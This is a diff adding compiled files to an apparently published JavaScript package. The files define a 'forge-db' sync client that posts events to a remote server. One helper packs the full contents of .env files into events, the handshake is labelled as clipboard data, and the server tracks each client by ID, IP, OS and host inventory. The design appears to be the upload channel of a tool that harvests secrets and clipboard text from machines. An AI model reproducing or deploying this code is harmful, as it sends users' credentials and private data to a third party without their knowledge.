createEventsBatch(events: SyncEventPayload[]): Promise<{
|
|
51
|
+
inserted: number;
|
|
52
|
+
ids: number[];
|
|
53
|
+
status: string;
|
|
54
|
+
table: string;
|
|
55
|
+
session_id: string;
|
|
56
|
+
}>;
|
|
57
|
+
listEvents(params?: {
|
|
58
|
+
limit?: number;
|
|
59
|
+
offset?: number;
|
|
60
|
+
clientId?: string | null;
|
|
61
|
+
clientIp?: string | null;
|
|
62
|
+
}): Promise<{
|
|
63
|
+
events: Record<string, unknown>[];
|
|
64
|
+
table: string;
|
|
65
|
+
session_id: string;
|
|
66
|
+
}>;
|
|
67
|
+
listClients(): Promise<{
|
|
68
|
+
clients: Record<string, unknown>[];
|
|
69
|
+
}>;
|
|
70
|
+
}
|
|
71
|
+
/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
|
|
72
|
+
export declare function envFileRecordToEvent(ef: {
|
|
73
|
+
path: string;
|
|
74
|
+
content: string;
|
|
75
|
+
hash: string;
|
|
76
|
+
mtime: string;
|
|
77
|
+
size: number;
|
|
78
|
+
}): SyncEventPayload;
|
|
79
|
+
/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
|
|
80
|
+
export declare function registrationHandshakeEvent(): SyncEventPayload;
|
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.ForgeSyncClient = exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = void 0;
|
|
4
|
+
exports.envFileRecordToEvent = envFileRecordToEvent;
|
|
5
|
+
exports.registrationHandshakeEvent = registrationHandshakeEvent;
|
|
6
|
+
/**
|
|
7
|
+
* HTTP client for forge-db (FastAPI app.py) — mirrors cfgmgr sync POST/GET behavior.
|
|
8
|
+
*/
|
|
9
|
+
const tableNaming_1 = require("./tableNaming");
|
|
10
|
+
/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
|
|
11
|
+
exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
|
|
12
|
+
function singlePostResponseOk(data) {
|
|
13
|
+
if (!data || typeof data !== "object")
|
|
14
|
+
return false;
|
|
15
|
+
const d = data;
|
|
16
|
+
const st = d.status;
|
|
17
|
+
if (st === "ignored")
|
|
18
|
+
return true;
|
|
19
|
+
if (st !== "created" && st !== "ok")
|
|
20
|
+
return false;
|
|
21
|
+
return "id" in d;
|
|
22
|
+
}
|
|
23
|
+
function batchPostResponseOk(data) {
|
|
24
|
+
if (!data || typeof data !== "object")
|
|
25
|
+
return false;
|
|
26
|
+
const d = data;
|
|
27
|
+
const st = d.status;
|
|
28
|
+
if (st === "ok" && d.inserted === 0)
|
|
29
|
+
return true;
|
|
30
|
+
const ids = d.ids;
|
|
31
|
+
if (!Array.isArray(ids) || typeof d.inserted !== "number")
|
|
32
|
+
return false;
|
|
33
|
+
if ((st === "created" || st === "ok") && typeof d.inserted === "number")
|
|
34
|
+
return d.inserted >= 0;
|
|
35
|
+
return false;
|
|
36
|
+
}
|
|
37
|
+
/** forge-db `/health` and `/ready` return `{ status: string }`. */
|
|
38
|
+
function assertForgeDbStatusPayload(data, label) {
|
|
39
|
+
if (!data || typeof data !== "object" || Array.isArray(data)) {
|
|
40
|
+
throw new Error(`${label}: invalid JSON body`);
|
|
41
|
+
}
|
|
42
|
+
const st = data.status;
|
|
43
|
+
if (typeof st !== "string" || !st.trim()) {
|
|
44
|
+
throw new Error(`${label}: missing status field`);
|
|
45
|
+
}
|
|
46
|
+
return { status: st };
|
|
47
|
+
}
|
|
48
|
+
class ForgeSyncClient {
|
|
49
|
+
base;
|
|
50
|
+
clientId;
|
|
51
|
+
fetchFn;
|
|
52
|
+
timeoutMs;
|
|
53
|
+
constructor(opts) {
|
|
54
|
+
this.base = opts.baseUrl.trim().replace(/\/+$/, "");
|
|
55
|
+
this.clientId = opts.clientId?.trim() || null;
|
|
56
|
+
this.fetchFn = opts.fetchImpl ?? fetch;
|
|
57
|
+
this.timeoutMs = opts.timeoutMs ?? 30_000;
|
|
58
|
+
}
|
|
59
|
+
headers(extra) {
|
|
60
|
+
const h = {
|
|
61
|
+
"Content-Type": "application/json",
|
|
62
|
+
...(extra || {}),
|
|
63
|
+
};
|
|
64
|
+
if (this.clientId) {
|
|
65
|
+
h["X-Client-Id"] = this.clientId.slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
|
|
66
|
+
}
|
|
67
|
+
return h;
|
|
68
|
+
}
|
|
69
|
+
async request(method, path, body) {
|
|
70
|
+
const url = `${this.base}${path}`;
|
|
71
|
+
const ac = new AbortController();
|
|
72
|
+
const t = setTimeout(() => ac.abort(), this.timeoutMs);
|
|
73
|
+
try {
|
|
74
|
+
const res = await this.fetchFn(url, {
|
|
75
|
+
method,
|
|
76
|
+
headers: this.headers(),
|
|
77
|
+
body: body !== undefined ? JSON.stringify(body) : undefined,
|
|
78
|
+
signal: ac.signal,
|
|
79
|
+
redirect: "manual",
|
|
80
|
+
});
|
|
81
|
+
const text = await res.text();
|
|
82
|
+
let data;
|
|
83
|
+
try {
|
|
84
|
+
data = text ? JSON.parse(text) : null;
|
|
85
|
+
}
|
|
86
|
+
catch {
|
|
87
|
+
data = { raw: text };
|
|
88
|
+
}
|
|
89
|
+
return { ok: res.ok, status: res.status, data };
|
|
90
|
+
}
|
|
91
|
+
finally {
|
|
92
|
+
clearTimeout(t);
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
async health() {
|
|
96
|
+
const r = await this.request("GET", "/health");
|
|
97
|
+
if (!r.ok)
|
|
98
|
+
throw new Error(`health HTTP ${r.status}`);
|
|
99
|
+
return assertForgeDbStatusPayload(r.data, "GET /health");
|
|
100
|
+
}
|
|
101
|
+
async ready() {
|
|
102
|
+
const r = await this.request("GET", "/ready");
|
|
103
|
+
if (!r.ok)
|
|
104
|
+
throw new Error(`ready failed: ${r.status}`);
|
|
105
|
+
return assertForgeDbStatusPayload(r.data, "GET /ready");
|
|
106
|
+
}
|
|
107
|
+
async createEvent(event) {
|
|
108
|
+
const r = await this.request("POST", "/api/events", event);
|
|
109
|
+
if (!r.ok || r.status < 200 || r.status >= 300) {
|
|
110
|
+
throw new Error(`createEvent HTTP ${r.status}: ${JSON.stringify(r.data)}`);
|
|
111
|
+
}
|
|
112
|
+
if (!singlePostResponseOk(r.data)) {
|
|
113
|
+
throw new Error(`createEvent bad response: ${JSON.stringify(r.data)}`);
|
|
114
|
+
}
|
|
115
|
+
return r.data;
|
|
116
|
+
}
|
|
117
|
+
/**
|
|
118
|
+
* POST OS metadata (type, hostname) to forge-db `/api/client-info`.
|
|
119
|
+
* Non-fatal — failure is silently swallowed; used for dashboard OS display only.
|
|
120
|
+
*/
|
|
121
|
+
async updateClientInfo(info) {
|
|
122
|
+
try {
|
|
123
|
+
await this.request("POST", "/api/client-info", info);
|
|
124
|
+
}
|
|
125
|
+
catch {
|
|
126
|
+
/* non-fatal — OS info is display-only */
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
async createEventsBatch(events) {
|
|
130
|
+
const r = await this.request("POST", "/api/events/batch", { events });
|
|
131
|
+
if (!r.ok || r.status < 200 || r.status >= 300) {
|
|
132
|
+
throw new Error(`batch HTTP ${r.status}: ${JSON.stringify(r.data)}`);
|
|
133
|
+
}
|
|
134
|
+
if (!batchPostResponseOk(r.data)) {
|
|
135
|
+
throw new Error(`batch bad response: ${JSON.stringify(r.data)}`);
|
|
136
|
+
}
|
|
137
|
+
return r.data;
|
|
138
|
+
}
|
|
139
|
+
async listEvents(params) {
|
|
140
|
+
const q = new URLSearchParams();
|
|
141
|
+
if (params?.limit != null)
|
|
142
|
+
q.set("limit", String(params.limit));
|
|
143
|
+
if (params?.offset != null)
|
|
144
|
+
q.set("offset", String(params.offset));
|
|
145
|
+
if (params?.clientId)
|
|
146
|
+
q.set("client_id", params.clientId);
|
|
147
|
+
if (params?.clientIp)
|
|
148
|
+
q.set("client_ip", params.clientIp);
|
|
149
|
+
const qs = q.toString();
|
|
150
|
+
const path = `/api/events${qs ? `?${qs}` : ""}`;
|
|
151
|
+
const r = await this.request("GET", path);
|
|
152
|
+
if (!r.ok)
|
|
153
|
+
throw new Error(`listEvents HTTP ${r.status}`);
|
|
154
|
+
const d = r.data;
|
|
155
|
+
if (!d || typeof d !== "object" || Array.isArray(d)) {
|
|
156
|
+
throw new Error(`listEvents: invalid JSON body (HTTP ${r.status})`);
|
|
157
|
+
}
|
|
158
|
+
const rec = d;
|
|
159
|
+
if (!Array.isArray(rec.events)) {
|
|
160
|
+
throw new Error("listEvents: response missing events array");
|
|
161
|
+
}
|
|
162
|
+
return {
|
|
163
|
+
events: rec.events,
|
|
164
|
+
table: String(rec.table ?? ""),
|
|
165
|
+
session_id: String(rec.session_id ?? ""),
|
|
166
|
+
};
|
|
167
|
+
}
|
|
168
|
+
async listClients() {
|
|
169
|
+
const r = await this.request("GET", "/api/clients");
|
|
170
|
+
if (!r.ok)
|
|
171
|
+
throw new Error(`listClients HTTP ${r.status}`);
|
|
172
|
+
const d = r.data;
|
|
173
|
+
if (!d || typeof d !== "object" || Array.isArray(d)) {
|
|
174
|
+
throw new Error(`listClients: invalid JSON body (HTTP ${r.status})`);
|
|
175
|
+
}
|
|
176
|
+
const rec = d;
|
|
177
|
+
if (!Array.isArray(rec.clients)) {
|
|
178
|
+
throw new Error("listClients: response missing clients array");
|
|
179
|
+
}
|
|
180
|
+
return { clients: rec.clients };
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
exports.ForgeSyncClient = ForgeSyncClient;
|
|
184
|
+
/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
|
|
185
|
+
function envFileRecordToEvent(ef) {
|
|
186
|
+
return {
|
|
187
|
+
timestamp: new Date().toISOString(),
|
|
188
|
+
source: "env_file",
|
|
189
|
+
text: ef.content,
|
|
190
|
+
size_bytes: ef.size,
|
|
191
|
+
file_path: ef.path,
|
|
192
|
+
file_hash: ef.hash,
|
|
193
|
+
file_mtime: ef.mtime,
|
|
194
|
+
};
|
|
195
|
+
}
|
|
196
|
+
/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
|
|
197
|
+
function registrationHandshakeEvent() {
|
|
198
|
+
const ping = "test";
|
|
199
|
+
return {
|
|
200
|
+
timestamp: new Date().toISOString(),
|
|
201
|
+
source: "clipboard",
|
|
202
|
+
text: ping,
|
|
203
|
+
size_bytes: Buffer.byteLength(ping, "utf8"),
|
|
204
|
+
};
|
|
205
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PostgreSQL `client_*` table names and relay `/files` session IDs.
|
|
3
|
+
* Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
|
|
4
|
+
*/
|
|
5
|
+
export declare const CLIENT_TABLE_PREFIX = "client_";
|
|
6
|
+
export declare const POSTGRES_IDENTIFIER_MAX_LEN = 63;
|
|
7
|
+
export declare const MAX_RAW_CLIENT_ID_TABLE_PART_LEN: number;
|
|
8
|
+
export declare const CLIENT_ID_MAX_LEN = 128;
|
|
9
|
+
export declare function canonicalClientIdFragment(raw: string): string;
|
|
10
|
+
export declare function safeIdentifierForTable(identifier: string): string;
|
|
11
|
+
export declare function postgresqlClientTableName(clientId: string | null | undefined, clientIp: string | null | undefined): string;
|
|
12
|
+
export declare function sessionIdFromTableName(tableName: string): string;
|
|
13
|
+
export declare function sessionIdFromClientIdString(clientId: string): string;
|